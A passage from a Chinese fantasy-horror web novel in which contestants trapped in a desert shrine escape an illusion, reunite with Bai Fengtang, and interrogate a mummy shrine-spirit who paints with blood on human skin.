柳鸷想到了,她脸趴在缝隙口,获得一丝喘息,大喊着:“秦哥,你当柏封棠是兄弟,那陈离翡呢?他不是你发小吗?他怕女人是你的错吧?你从前对不起他,现在又要因为你的一己私欲害他去死吗?”
柳鸷字字诛心,直戳秦为墨的心窝,他痛苦的嘶喊着:“小翡?”
“小翡?”
华容道内,无人回应。
“啊——”秦为墨突然爆发出一阵哭嚎,紧随着是一阵哐声。
他动了。
移向北。
华容道的左下角空出。
冷荻催促,“圣博,东移。快点。”
“冷姐,我搞定了。”罗圣博东移完成,让出了正南方的整个出口大道。
“好。柏封棠,你出局吧,破完这个龛,我会向庭长认罚的。”冷荻的声音冰凉凉的穿过华容道的众屋。
但柏封棠没有动,只是轻笑着,略带苦涩的问:“柳鸷,你也想我死?”
34. 酒骨龛(六)
柳鸷咬着舌间的最后一丝酸甜,冷漠的,“抱歉。你必须死。否则所有人都得给你陪葬。”
说完这句话,柳鸷的眼睛倏然有些疼,两只眼球上的观众满意值由原来到「19.8%」开始往下掉。
「17.8%」。
「15.84%」。
怎么回事?
不能杀柏封棠吗?
“系统?金菜?回答我?”
无人回应。
可不杀柏封棠,不破局,她一样会死。
片霎,传来柏封棠的声音,很轻,“好,我如你所愿。”
所有人都听见哐哐的两声巨响,一道白光闪过,流沙、房间全部破灭。
柳鸷眼球上刻的数字急速跳动回升。
「17.8%」。
「18.8%」。
「19.8%」。
在「19.8%」时,数值上下浮动,似乎有多、空两方人马在来回拉锯,旗鼓相当。
而柯翰所设的幻影破灭,幸存的九位选手纷纷摔进厚实、炙热沙漠里。
白从欢欣喜着,“没死,得救了。”她起身看旁边的选手,一个个沙土覆身裹面的,活脱脱像一具具兵马俑。“哈哈哈,你们也太搞笑了。”
秦为墨扫开陈离翡脸上的沙土,又拍着陈离翡的胸口,陈离翡大咳着醒来,看见一脸土里土气的“墨生人”吓了一大跳。
“小翡,是我。”
柳鸷趴在黄沙里,多、空两方人马已分出胜负,多方以压倒式的胜利狂拉,眼球的数值直接跳上「20.8%」。
「21.8%」。
「22.8%」。
「23.76%」。
柳鸷:“......”搞什么?水下跌停,再拉个地天板。这群观众玩这么刺激得吗?
手腕上的金菜亮了亮,柳鸷赶紧拿衣袖捂住,“人多,别出来。”
脑海里,响起系统的声音,“好的。恭喜宿主,您当前观众满意值为「23.76%」,获得二级法力。”
柳鸷小声问:“二级法力,能杀什么级别的龛?”
“宿主,您的二级法力可以对标阙庭的内舍丙等选手。”
那就是谷栖夏的实力。
一旁,选手都从黄沙里起来了。柳鸷拍了拍金菜,“行,金爱卿就先退下吧。”
柳鸷挥掉眼里的红字,起身,拍了拍脸上的沙子。
曲皓尧喊着:“嚓!沙子进我鼻子里了。”
“也进我耳朵了。”
劫后余生的一群人,喘气、掸沙、挖耳朵、抠鼻屎。
忽然,有一道孩童的稚气声闯入,“哇!是美人姐姐呀,终于找到你们了。”
柳鸷扭头,竟然是万宝子。
他满头大汗、正朝选手的方向跑来。而万宝子身后,长身伫立、面色威严、冷峻的人。
是柏封棠。
所有人都惊呆了,方才在房间里看不到人,说推就推。现在面对面见到,不禁吓出一身冷汗。
“这柏神,是人是鬼?该不会是来向我们索命的吧?”
“我觉得不像,估计出局了也没死。”
秦为墨看着完好无损的柏封棠,跑过去一把揽住柏封棠,“封棠,你没死,真是太好了。”
柏封棠反手推开,“滚,少动手动脚。”
一众人心中有愧,纷纷道歉:“对不住了柏神,我们不是有意想杀你的。”
万宝子一脸懵逼,拉着柳鸷的手,“他们敢杀师兄?什么时候?”
柳鸷愣住,她漏了一个关键点——万宝子。
柏封棠敛眉,扫过众人,冷呵:“你们,杀我?”
众人一怔,面面相窥,难道华容道里的不是柏封棠?
柏封棠命令道:“说清楚。”
原来,柏封棠并没有被卷入沙暴中,他杀完柯翰,因柯翰爆炸,晚了一步出来,发现所有选手都不见了。
所以放万宝子出八卦罗盘盒,一同寻找。
柏封棠听秦为墨解释完,脸色冷冷的、似乎一点也不惊讶选手们的选择。
秦为墨说:“柯翰变的你,能回答上我们的所有问题,且说话的语调也和你很像,他是不是窃取了你的记忆?”
柏封棠轻蔑的勾唇,“不,他窃取的,是你们眼中的柏封棠。”
“难怪,它回答的话和我所想一字不差。”秦为墨还想说什么,柏封棠已越过他,走向后方。
柏封棠站定在柳鸷身前,见她一身沙土,抬起垂在身侧的手,动作轻柔的拍去柳鸷身上的沙砾,从袖口,至肩膀,只听他低声问:“所以,你明知那是我,还是同意杀我?”
他的语调极其平静,却让柳鸷耳尖发颤,忽有一种风雨欲来的惊惧。
片霎间,柳鸷的脑海里已经蹦出上百种解释的说辞。
说我知道那是假冒的你。
说我觉得你法力高强,不会死。
说我也是无奈之举。
......
柏封棠的手,绕过柳鸷腰间,粗粝的指腹一轻一重贴着她得后背,慢条斯理拍掉她背上的沙砾。
倏然,那只有力的大手,从后背反手擒住柳鸷的后颈,将她推向自己,淡淡的,带着威胁,“说话。”
柳鸷挣扎着掰柏封棠的手,无果,干脆仰面直视柏封棠。
柳鸷,赤恍恍地撞进柏封棠的浸了墨般的深眸里。
柳鸷心中一怔,有些难以置信的凝视着柏封棠微红的眼眶,浓重的失落与苦涩交织,任谁见了都会觉得是柳鸷欺了他。
柳鸷忽然觉得一股酸楚从心头漫延开,但理智告诉她,这是错觉。
柳鸷毫不示弱,冷冽的反逼柏封棠。
眸光在灼热的空气间拉锯。
柳鸷从不服软,柏封棠的耐心耗尽。
他的面容虽然宁静,但额角的青筋一鼓一张着,眼中阴鸷尽现。
他愠怒了。
陈离翡要上前帮忙,却被秦为墨扯住,“这是他们的事,与我们无关,你别瞎掺和。”
白从欢生怕柏封棠错手拧了柳鸷的脖子,连忙扯住柳鸷的衣角,小声说:“小鸷,说你不是故意的。柏神,这不能怪小鸷,是我先同意的,我也有错。”
冷荻走近,挡在白从欢身前,为柳鸷说情,“此事是我一个人的主意,她们都是遭我胁迫,你有本事,直接杀了我。”
“你以为我不敢?”柏封棠眸光很冷,根本不在乎他人的死活。
“和冷荻、小白无关。是我自己同意的。”柳鸷不想牵扯到他人,她明白拙劣的谎言,骗不了柏封棠,干脆承认。
倏地,柏封棠自嘲的笑了,松开柳鸷,只听他落寞的一句,“小白眼狼,果真养不熟。”
“冷姐,你们快来看这是什么东西?”罗圣博在方才落地的黄沙旁喊着。
冷荻看了一眼柳鸷,柳鸷说:“你去看看,他不会拿我怎样。”
柏封棠轻嗤一声,略带几分嘲讽,“你就怎么笃定,我不会拿你怎样?”
柳鸷缓了缓气息,挑衅道:“那你打算拿我怎么样?”
旁边的选手都被罗圣博的惊呼吸引,往那一片黄沙走去。
柳鸷靠近柏封棠,低声道:“我白眼狼?你对我的目的,你心里再清楚不过,谈什么白眼狼。”
“我对你,有什么目的?”柏封棠嗓音低哑,藏着情绪的语气冷得似寒冰般,他逼近柳鸷,明知故问。
柳鸷大力推开他,冷声:“那是你的事,我不感兴趣。”说完,她头也不回的走了。
所有人都在关注黄沙上,突然出现的东西。没有人注意到背后,柏封棠阖下眼帘前,瞳孔变得一片赤红。
柳鸷过去,一群人围着一团赤红色、如血髓般的膏样物质,它在沙里蠕动、拼凑成一个歪歪扭扭的字。
“惧?”陈离翡望形读字,又有些不确定,“这是惧字吗?”
“是。”秦为墨说:“这很可能是柯翰身体的一部分,留给我们的信息。”
“那这惧字代表什么?惧怕?”
“不清楚,先收着吧。”
冷荻打开水葫芦,略为哀伤道:“这残余的尸液,我先收着,回头找个好风水的地,葬了。”
众
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人觉得这不是什么好东西,既然冷荻乐意,就让她收着好了。
天色已不早了,选手们商议过后,打算继续北上,务必在天黑之前找到沙绪山庄。
一群人在沙漠里徒步很久,太阳渐渐地移向西南。选手们水葫芦里的水都喝光了,口干舌燥的。
白从欢累得脚下没踩稳,不小心滑了一下。
眼看着踉跄的要摔下沙丘之际,柳鸷立马出手扶住她的手肘、撑住了她。
但,白从欢下意识反拽了一下柳鸷,致使柳鸷脚下一滑,径直摔下沙丘。
白从欢惊呼:“小鸷。”
原本走在队伍最后的柏封棠,立即闪跃下沙丘。
柳鸷反应迅速,抽刀插进沙坡里,以法力堪堪稳住,挣扎着半跪起来,抬眸,便看见柏封棠恰好在她跟前落下。
柏封棠居高临下,四目相对,一时无言。
夕阳之下,万丈金芒。
柏封棠逆着耀眼的光,静静地立于漫天黄沙之中,仿若是余晖盛宠,以薄金笔触轻柔的,勾勒出最后的美景。
忽而,他向下,探出左手,金币驳链在风沙中摇曳。
风沙吹红了柳鸷的眼,她伸出手,刚触碰到柏封棠炙热的手心,就被他紧紧握住,连同整个身体拉起来。
柏封棠揽住柳鸷的腰肢,几步闪跃至沙丘之上。
柏封棠霎时松开柳鸷,白从欢紧张询问:“小鸷,你还好吗?刚刚真是对不起。”
“我没事。”柳鸷察觉身边的迦南香淡了,遂循香而去。柏封棠还不等柳鸷道谢,已向队伍后排走去。
柳鸷望着踽踽独行在沙漠里,高大、落拓的背影,心中猝然空了一下,泛出说不清的心绪。
冷荻说:“没事就好,天快黑了,我们抓紧赶路吧。”
沙漠的昼夜温差很大,太阳挂在西头时,温度已经降了下来,风都携带着些许的凉意。
选手们一路往北走,突然在黄沙之中看到了一个模糊的东西,觉得有些眼熟。
白从欢目视极好,盯着那一个矗立的东西,片刻,愣住了。“那好像是墓碑!”
柳鸷眨眨近视眼,用手掌挡住光,眯着眼睛看,好像是有个碑在前面。她稳步上前,看见了那个墓碑,也是微怔。
身后的选手也逐一过来,见了,十分不解,“怎么回事?怎么又是展绪之墓?”
“难道我们走了这么久,又回到了原地?”一群选手感到不可思议。
柳鸷半跪在沙地里,仔细观察,“不是原地。”
“你怎么知道?”
“我们挖坟之后,并没有收拾残局,把墓碑立起。而且你们看,这里有一个钤印。”
众人望向墓碑的右下角,确实有一个钤印,篆刻展绪之印。“这种钤印一般在书画上,怎么会在墓碑上?”
“我们刚进来时的墓碑,是没有这个钤印的。”
柳鸷想起寒衣龛的空间变化,乍然冒出一句,“各位,如果我们看到的墓碑是同一个。但处于不同的空间,你们觉得有可能吗?”
白从欢的杏眼亮了,满怀惊讶,“你的意思是我们穿越时空了?”
柳鸷起身,仰面望向昏沉的天空。
这天空和刚进入神龛时,蓝得透亮的天空有些不一样,色调变成橘色,也更厚重了些。除此之外,并无差别,天还是那个天。
但柳鸷感觉不对劲,她的瞳孔犹如一只被囚禁风筝,竭尽全力,依旧飞不上更高的天,只喃喃一句:“天好像在看着我们。”
沙漠的热风,穿破一重又一重的天空,每穿透一层,凝固的屏障皆色彩不一,直到抵达一片虚白的尽头——
一只苍白的手执着一支钗笔于万千画框之上,指尖微顿,笔毫上的汁墨拢集欲滴。
执笔者静静凝视着画中的美人儿,闻言,发出一阵阴森的怪笑。
“真是有趣的人,让我们把游戏变得更有趣一点。”这沙哑的气泡音宛如从喉间扎满了铁片,每每发声,都有铁片撕磨着血肉的响声。
说着,那只手提着钗笔,往歙砚里摄了些浓厚的朱墨,笔醮墨饱时,提笔,靠近画。
35. 酒骨龛(七)
画中,柏封棠突然出手拉过柳鸷。
柳鸷感觉后颈一阵凉飕飕,她探手摸了下后颈,指尖染了一抹朱红,瞬间又消失了。
热晕了?
还是眼花了?
柳鸷晃过神,只听柏封棠严肃道:“柳鸷,你可能想多了。这一片沙漠很大,我们遇到一个新的墓碑,其实并不奇怪。”
陈离翡无知无畏,“不呀。我觉得柳鸷刚刚说得有意思的。”
柏封棠给秦为墨递了一个眼神,秦为墨立即意会,“小翡,不要胡说。”
柳鸷平静道:“各位,刚刚是我胡乱猜测的,但我们可以验证下。”
“什么?”
“挖个坟。”
“又挖坟?我们要改行当盗墓小队吗?”
冷荻的眼神在四人之中扫视,思索半响,“先挖了看看。”
一群人在嵌套的画中画里,埋头挖坟。
画外,那只苍白的手,随意将钗笔丢在一旁,施施然道:“就留你这一条小命,我倒要看看你能折腾出什么把戏。”
这一次挖坟有柏封棠帮忙,速度快了很多,挖得也比之前更深。
但都没有看到木乃伊的棺材。
“这里大概不是原来的地方。”
冷荻说:“算了。我们先去沙绪酒庄吧,不然一会黑天摸地的,今晚就难熬了。”
夕阳渐渐接近地平线,光芒也越来越微弱。天空如暗黑的网笼罩而下,将整个沙漠缓缓吞噬。
风变大了,携着冷意扑面而来,温度骤降,所有人都将衣襟拉紧了些。
一行人迅速往前,走了一会,白从欢瞭望远方,“哎,你们看那沙丘里是不是有灯光?”
一个微弱的灯光缓缓的移动在风沙之中。众人欣喜,如窥见救世的明灯。
“好像是一间屋子?但这屋子怎么会动?摇摇晃晃的,该不会是海市蜃楼吧?”
“我们过去看看不就知道了。”
“不用,它正在向我们移动过来。”
沙丘越近,灯光越亮,选手们才看清楚,是一间镶嵌在沙丘之内的小木屋,木门紧关,门边的窗口大开,悬挂着一展红灯笼,照亮了当铺二字,在昏暗的沙漠里,显得相当诡异。
沙丘缓缓越靠越近,柳鸷放眼过去,四周的黄沙如潮水般,无边无际,根本没有沙绪酒庄的影子。
再往前走,并非最好的选择。
于是,柳鸷打量着小木屋,“有灯,可能有人。我去问问看沙绪酒庄。”
“我也去看看。”冷荻跟着柳鸷跃上沙丘的台阶。
“等等,我和你们一起,说不定能控制着屋子带我们去沙绪酒庄。”白从欢说着跟上。
曲皓尧说:“没道理让三个姑娘当先锋探路,我们也一块......诶,我话还没说完呢,你们等等我。”
一群选手纷纷上了沙丘。
柳鸷和冷荻走近窗户,窗上摆满了很多食物、酒水、但似乎太久无人光顾,这些东西都硬化了,生出一股臭味来。
“店家在吗?”冷荻问。
柳鸷越过窗户打量,倏地闻到了一股浓郁的血腥味,带着咸甜的怪味。她看见前台柜后趴着一个人影,只露出了灰色的衣角,看不清上身,窸窸窣窣的。
“店家,请问下你知道沙绪酒庄在哪吗?”
无人回应。
这人似乎正趴在地上画画?
柳鸷又大声问了一句。
地上趴着的腿动了一下,沙沙又苍老的喉音啊啊啊了几声,如同万丈枯井里的恶鬼,念叨着:“沙绪酒庄??”
“你知道沙绪酒庄?”白从欢还没来得及高兴着,被突然爬起来的一道鬼影吓了一跳。
嚓!
这个店家,竟然是一个缠满土棕色亚麻布的木乃伊。
脸部连着脖子全部被布条裹缠,只不过披了一件灰色的外裳。缠着布条的手,握着一支墨笔,笔毫上蘸着深红色的颜料散发着血腥味。
柳鸷紧锁眉头,探头瞥了眼,是画旁的墨砚里盛放着浓郁的血,一旁还有白糖和盐巴。
“你是龛主?”
“我是龛,中二龛。”沙哑的声音,听着像一个苍老的老人。“你们是不是新来的选手啊?我已经几十年没有见过这么新鲜的人呢。”
什么叫新鲜的人?
柳鸷觉得它说这话的语气,好像所有选手就是一块白花花鲜肉一样。
这该不会又像寒衣龛里一样,是个食人的龛吧。
“你们喜欢画画吗?”老头龛见了众人颇为激动,“我们龛主最喜欢画画了,所有的龛都要学习画画。我可以教你们画画,不过你们有什么东西能当给我?”
老头龛上下扫了一眼这一群选手。
选手们:“......”
“喂,老头,我们不学画。只向你问个路,你知道沙绪酒庄在哪里吗?”
“当然。我每年都会去一趟。现下这沙丘正是去往沙绪酒庄的路上。我可以带你们一同去。”
“太好了,现下夜黑风高,能让我等在此留宿一夜?”
“自然。你们快请进、快请进,我给你看下我的画作。”
白从欢见众人未动,“走啊,先进去吧,我们这么多人还怕它一个小龛不成。”
几人刚走近几步,正准备开门时,老头龛俄然惊惧,大喊:“停停停。别推门。”
选手们一脸茫然,“?”
老头龛说:“我不让你们进来了。你们不准进来。”
“什么意思?耍我们是吧?”
“你们之中有人已被感染。新感染的龛容易发狂。你们快走!不要进来给我找麻烦!”老头龛驱赶着选手们。
选手们面面相窥,柳鸷问:“你倒是说说我们之中,谁被感染了?”
老头龛浑浊的目光,打量过一个又一个选手的眼睛。
选手们被它盯着时,内心竟然有一丝的颤栗。
被感染就意味着背叛队友,和亲密的队友成为对手,要么死在队友手下,要么杀死队友。
谁都不想被感染。
一群人立在门外,任凭老头龛打量。
“你们都傻了吗?”陈离翡双手抱臂,不屑的喊着:“为什么要相信它的话。他不就是一个小龛龛,它不让我们进,我们就不进了吗?”
“对!跟它废什么话,我们直接杀进去。抢了它的地盘!”
陈离翡和曲皓尧一不做二不休,直接翻过窗前柜,吓得老头龛连连后退。“你们、你们别过来!”
两人翻进窗内,曲皓尧两下子就放倒了老头龛,局势瞬间反转。
老头龛怯弱的求饶:“求你们放过我。我把屋子让给你们。放我走吧。”
曲皓尧望向陈离翡征询意见,陈离翡说:“要是放它走,万一它找来更多龛对付我们怎么办?”
“那还是留着吧。”
两人合力,抄过一旁的麻布条,将老头龛绑在一条简陋的木椅子上。
陈离翡打开门,罗圣博笑着过去,拍了拍他的肩膀,“牛啊!大神。”
陈离翡见众人没有动腿,吊儿郎当的调侃,“怎么?还要老子请你们进来不成?”
选手们,三三两两的进入门。
秦为墨对于陈离翡这种土匪般的行径实属无奈,斥责道:“小翡,你方才真的太冒险了。万一......”
陈离翡不服气的鼓着腮帮子,鼻腔里发出轻哼声,怼了一句,“老子才不怕!你不是也在这嘛?”
“......”给秦为墨干无语了。
陈离翡正打算进屋去,耳垂被一只大手捏住,拽向后方,“啊啊痛,痛,墨墨,你干嘛捏老子?”
“老子?你最近和小曲混得越来越粗俗、叛逆了,我有没有教过你,不要说粗话,要保证自己的安全,要听我的话?”
秦为墨的脖子绷得紧紧的,眼里满是怒意。
陈离翡还是第一次见到这样的秦为墨,害怕秦为墨真生气,不管他了。
他、怂了。
陈离翡乖乖举起手,讨好似的说:“我发誓不说粗话,保证安全,全都听你的话。墨墨,你不要再生气了。”
见秦为墨不语,陈离翡咬着唇,又扯着秦为墨的手,可劲晃荡。秦为墨忧心的叹了一口气,这傻小子根本不知道,他为何生气。
秦为墨松开陈离翡的耳垂,一掌盖在他漂亮的脑袋上,“击掌为誓,骗人是小狗。”说完,秦为墨
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径直进屋去了。
陈离翡伸出空荡荡的手掌,疑惑,“不击掌了吗?我的掌,在这呢。”
沙屋内陈设简陋,地上散落着沙砾,灰沉沉的桌椅,地盘不大,仅靠地上一盏油灯的微光堪堪照亮屋内一角。
选手进入后,可供落挪动的空间并不大。
柳鸷指腹抚过桌面,沾了一层沙。
“墙上有壁灯,小鸷,你把油灯给我。”
老头龛忽然在椅子上大叫,“你们不要靠近我的画!”
“你一个龛,我们没杀你就算好得了,还在叽歪叽歪。”陈离翡随手抓了一块破布,直接塞进了老头龛嘴里。
柳鸷走近过,扫了一眼地上的画。是方才老头龛在趴在地上,画得那一幅画。可这画得非山非水,像是鬼画符一样凌乱。
柳鸷拿起油灯,走了两步,脚下突然咔嚓一声,脆生生的碎裂声,柳鸷低头,是一颗风干的动物骷髅头,被她踩碎裂了一角。
“什么声音?”
“没什么。”柳鸷淡定着走过去,点燃了一盏壁灯,才发现隔壁还有壁灯。
沙屋内部以圆弧状的墙环绕而成,墙壁上从左至右共十一盏壁灯,壁灯依序亮起,悬挂着十一幅丹青呈现在众人眼前。
可每一幅丹青被大片发霉的污点沾染,只看得清些许的墨迹线条勾勒着,像是景色还有人。但因为太模糊不清,并不能分辨出画中到底是何物。
柳鸷扫了一下墙上的画,艺术家的世界她不懂。
但觉得奇怪,霉点应是画布受潮导致,可沙漠地域干燥,画怎会发霉?
“有人懂画吗?”
冷荻说:“柏神和秦哥都懂画,但......”
柳鸷故意朝陈离翡喊了一声,“这画布看着很怪异,小翡你来看看?”
陈离翡瞥了一眼柳鸷那头,见冷荻、白从欢、金千菲四个女人都堆在一块,没好气道:“我又不懂画,我不看。墨墨,你去!”
秦为墨望过去,柳鸷已经让出画前空地。他没说什么,上前查看。
眼看着秦为墨探手想触碰丹青,老头龛激烈反抗着,从椅子上摔下去。
“秦哥,你等下。陈离翡,你给老头解开嘴。”柳鸷说。
一松开老头龛口中的布,它大喊着:“别碰我的画,那是龛主亲自画的,毁了你们赔不起!”
陈离翡吐槽,“这都被你保存成这样,早就毁了。”
“不可能,我每日精心呵护,它本来就是这样的。”
“那这画的是啥呀?还没我画的好看。”
老头龛听见这句话,气得吹胡子瞪眼说:“你们懂什么?这是龛主的艺术,不许你们诋毁。”
陈离翡对画没兴趣,也懒得和老头龛争辩。
选手们累了一天了,饿得咕咕叫。陈离翡和曲皓尧在屋前柜里,翻箱倒柜的寻找,“老头,你这有什么好吃的吗?”
“你们放了我,我给你们拿吃的。”
这头,柳鸷举着油灯,示意秦为墨继续。
老头龛狂喊:“不要碰我的画!求你们了!”
柳鸷没理它,秦为墨的指腹轻抚过画布,纹理细腻,手感光滑细腻,有韧性,但指腹生出一股刺骨的凉意,“这不是寻常画布,更像是、皮肤的肌理。”
“是人皮?”
“可能是特质药物侵泡而成的人皮画,而且这颜料也很特别,但我不确定是什么。”
柳鸷照亮画角的钤印,和墓碑上的钤印是一样的。她仔细检查过每一幅,“这些画,署名都是展绪。”
冷荻在一旁说:“看来龛主确实是展绪,但他为什么在坟墓上也盖钤印呢?”
白从欢猜测,“可能那墓碑也是一幅画?又或者是龛主随便戳的?”
秦为墨笃定道:“随便戳不可能。画家对自己的作品和钤印都很爱惜。”
冷荻思索着,反问:“柳鸷,你觉得呢?”
柳鸷摇了摇头,从看见坟墓上的钤印,她就一直围绕在困惑里。
“不要开我的柜子。”老头龛大喊。
前柜边,骤然哐当地,一声巨响,传来曲皓尧的惊诧,“卧槽!这藏着肉啊!”
浓重的血腥味,扑面而来。
36. 酒骨龛(八)
柳鸷将油灯往前照一照,心头一惊。前柜的橱柜们被打开,一涌而出一堆骸骨,七零八落的散落在地上,狭窄的一片,看起来像屠宰场,满地的动物骨头。
而旁边是一只新鲜的骆驼头颅,和血淋淋的零碎尸肉。
柳鸷过去,以手沾了一些尸块上的血闻闻,又将一块尸肉递给秦为墨,“颜料是血吗?”
秦为墨摸了摸血,擦干,又嗅了嗅。他蹲下身,取过老头的歙砚里的颜料,“这血和歙砚里的朱红色颜料是同一种。但和墙上的颜料不是同一种。”
秦为墨捻了一旁的白色粉末,“白骨画祭。这粉末是骨头研磨而成,与水混合,涂于画表,上色会更细腻、生动。”
柳鸷皱眉,这老头为了画画竟然如此残忍。
“人皮为布,骨粉为底,以血为色。”白从欢斥责着,“你这老头画画,画得走火入魔了吧!”
老头龛辩驳道:“那是我畜养的,我养它本来就为了画画。何况关你们什么事情?你们快放了我。”
“按着骨头的量,你应该画了很久了,可我看你画得也不怎么样,为什么呢?”
老头龛一怔,露在麻布条之间的瞳孔,染上一抹哀伤,沙哑的声音哽咽了。
“我们所有的龛都要画画,龛主承诺,只要画出令他满意的画,就可以放我们回家。我这么努力,画了几十年,就是想回家。可我为什么画不好呢?”
“那我要怎么回家?我的母亲还在家里等我。我要怎么回家?”老头龛自顾自地,思家心切地滚下一行血泪。
柳鸷察觉到话里的漏洞,“你是何地人?按你说画了几十年,你的母亲,还在世上等你吗?”
老头愣住了,半晌,发狂道:“母亲不会死的,她一定会等我的。我家就在西郡杨家村,我杨三郎,你们都不认识我了吗?我只是贪嘴出门去巷口买串糖葫芦,为什么就回不去了?为什么?”
老头龛陷入了自哀自怜的情绪,大串血红的眼泪如一颗颗它曾偷吃过的糖葫芦那般鲜红,掉下来,落在地上。
柳鸷心中一悸,想起了哥哥,轻叹了一口气。
“老头,这么多年,你有见过其他龛成功画到让龛主满意的画吗?”柳鸷顿了一下,表达的更清楚些,“或者,你知道有其他的龛成功出去过吗?”
老头龛僵住了,“你是说,龛主在骗我们?”
柳鸷并不确定龛主是否以画控制、束缚这些小龛,但她的目的是让老头龛相信她,以获取更多有效的线索。
“你觉得呢?画画而已,十年磨一剑,也成了。要是只有你一个龛画不好,只能说明你没天赋,但你们所有龛都画不好的话......”柳鸷尾调一隐,让它自行想象,才能将疑心放到最大。
老头龛垂头思疑,“是不是因为我们用的颜料和龛主用的不是同一种。”
“那你为什么不用龛主所用的颜料?”
“龛主,它的颜料——”老头龛抖了下,瞳孔不自觉地瞟向左上方,“我不知道龛主用什么颜料。”
柳鸷看出来,它撒谎了。
但柳鸷不介意打一张明牌,“老头,若你真想出去,我有法子可助你出去。”
“你?”老头藐视的大笑,“你有什么法子?”
“这是神龛,除非神龛的封印解除,否则你们任何龛都出不去,包括你们的龛主。而你想出去的唯一法子,就是助我们杀死龛主,破龛之后,我们保你出去。”
“神龛?破龛?”老头龛似乎从多年失忆中惊醒。
“是。你想想你的母亲能不能等到封印解除,好好考虑下要不要和我们合作。”说完,便不再理它。
老头龛,望着柳鸷的背影,眉头的麻布条揪在了一块。
曲皓尧摸了摸咕噜的肚皮,看向柳鸷,“那这肉......”
柳鸷说:“既是养殖,那便为家畜,你饿了你就吃吧。”
“太好了。”
选手们四处翻找,不知道从哪里整出炭盆,架起木架,烤起了骆驼肉。
柳鸷坐在炭盆边,看着秦为墨、陈离翡、曲皓尧烤肉,心绪神游天外。
忽然,万宝子揪着柳鸷的衣袖,悄声问:“美人姐姐,你是不是欺负我师兄呢?”
柳鸷:“?”
“为什么我感觉师兄的心情一直不太好?”
陈离翡看热闹不闲事大,“是的,她欺负甜甜了。我可以作证,就是她惹你师兄伤心的。”
万宝子好奇的凑过去,想知道他在八卦罗盘盒中时外头到底发生了什么。
陈离翡这天不怕地不怕的,叽里呱啦的,旧事重提一遍。
万宝子听完,心疼得红了眼眶,抹了一把泪,“师兄好可怜哦。美人姐姐,你既然犯了错。那你去和师兄道歉好不好?”
柳鸷没有动,望向立于前柜窗前的柏封棠。
沙漠的夜空宛如一枚闪烁着漫漫星光的黑曜石,繁星近在咫尺。
而那个男人的背影如同青白的月亮般清冷、孤寂、静静地悬挂在苍穹里,鳞光掠过沙丘,掠过风,掠进柳鸷的心田里。
柳鸷的脑海中,不由浮现出夕阳的沙漠里,他落拓的那一幕,心中泛出一种怪诞感觉。
可柳鸷不想深思。
她清楚的知道自己的目的是攻略观众满意值,回到现世界。
这里的一切都羁绊不住她。
柳鸷克制的收回目光,“抱歉。宝子。你的要求,我不能答应你。”
万宝子不太明白,明明自己进罗盘盒前都好好地,怎么等他再出来,师兄难过、沉默,美人姐姐也不宠爱他了。
万宝子小小的脸蛋愁成了苦瓜,负气的松开了柳鸷的手,往左边挪了两步,离柳鸷远点。
自己一个人抱着的脸,撅着小嘴,呆坐着。
秦为墨从火架上撕下一块骆驼腿部的烤肉,用小木签叉着,凉了会。
陈离翡伸手去接,却被秦为墨拍开手,转而递给万宝子,“别伤心了。封棠没事的。吃吧。”
陈离翡:“这是我烤的!”
“小翡,你要学会尊老爱幼。”
万宝子圆溜溜的眼珠打转着,嘟嘟的小手握住新鲜的、香喷喷的烤肉,起身跑到窗户边,举着递给柏封棠。
“师兄,师兄,这是秦大哥刚烤好的腿腿,先给你吃哦,你要吃吗?”万宝子边说边舔了一下嘴角,还咽了一下口水,但依旧把第一块烤肉献给他的师兄。
柏封棠被万宝子依依不舍,但依旧视死如归的将烤肉献出的表情给逗乐了。
他抱起万宝子,放他坐在窗户边,“你这小馋猫,自个吃吧。”
柳鸷看着,不禁笑了。
柏封棠似有感应,默然回首,就这么直直撞击柳鸷的瞳孔里。
柳鸷不动声色移开目光,她打算去试探下白从欢,但巡了一圈,发现白从欢陪着冷荻在一幅画墙下。
冷荻盯着手上的水葫芦,白从欢一旁在安慰着:“冷姐,你别伤心了。你肯定也不是故意的。我相信柯翰不会怪你的。”
冷荻眉头轻轻一挑,带着几分疑惑:“你哪只眼睛看见我在伤心?”
白从欢双指比向自个的双眼:“这两只火眼金睛看见的。”
冷荻:“......”
白从欢松开手,蹙眉,“那你不伤心,为什么握着这个水葫芦,表现地哀哀怨怨的,是想作甚?”
冷荻张了张嘴,无奈解释道:“一夜夫妻百日恩,是我亲手将刀捅进了小翰的身体。他死了,我出于情义,为他哀悼一刻钟,但也仅此而已。为一个男人哀哀戚戚一辈子,可不是我冷荻的作风。何况,作为选手,在这样的危险环境里,为情爱伤春悲秋,实属愚蠢。”
白从欢托着脸蛋,啧啧,这精神状态,“不愧是我冷姐姐!洒脱!”
冷荻难得温柔地,将白从欢发髻间摇晃的步摇扶正,像个姐姐一样,语重心长道:“小白,我没有哥哥,没有家人。我的一生或长或短,都遇见了很多人,但这些人都只是我生命中的过客,只有我是我。”
白从欢见不得冷荻灰暗无光的神色,一把环抱住冷荻,攥着她的衣裳,掷地有声道:“我不是过客,冷姐姐有我,我的哥哥也分给你。”
冷荻脑海中浮现出韩烊冷若冰霜的脸,轻拍了拍白从欢的背,眼角带笑,“你哥就算了。你,我要了。”
“啧!还嫌弃我哥了!”
柳鸷听了两人的对话,笑着摇了摇头,这对姐妹花确实很有意思。
“喂,那个丫头。”老头龛喊了声,柳鸷、冷荻等人都望过去。
老头龛说:“我想好了,我可以和你们合作,但是你们要确保我能出去。”
冷
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荻起身,过来说:“我们只能保证,我们在你在......”
“可以,我保证。”柳鸷打断冷荻的话,朝她使了一个眼色。她不管之后如何,当前要先得到些有效的线索。
柳鸷转问老头龛,“你同意合作,光靠嘴巴应承?”
老头龛想了想,“十一幅画用的颜料我确实不知道,如果我知道我也不会还在这里了。”
“但我可以告诉你们另外一件事情。”
“嗯?”
“龛主喜酒,尤爱葡萄酒。但沙绪酒庄乃至这一整片沙漠的葡萄藤都被感染了、异化了。已经种不出正常的葡萄,酿不出美味的葡萄酒了。龛主承诺,只要酿出葡萄美酒,就亲自授画艺,保证能学成离开龛。这么多年,所有的龛都在苦练画艺,种植葡萄。”
酒骨龛的规则里,选手们在七日内酿出美酒,献给龛主的。
白从欢的眼神带着一丝探寻,“那如何酿出美酒?”
“不知道,但我听说沙绪酒庄的龛已经找到方法了,所以我才急急忙忙赶去酒庄,结果遇上了你们。”
冷荻开口问:“方才你阻止我们进屋,说我们之中有人被感染了,那人是谁?”
老头龛一个一个环视过众选手,最后停留在冷荻身上。
白从欢狐疑,“你是说冷姐姐被感染了?”
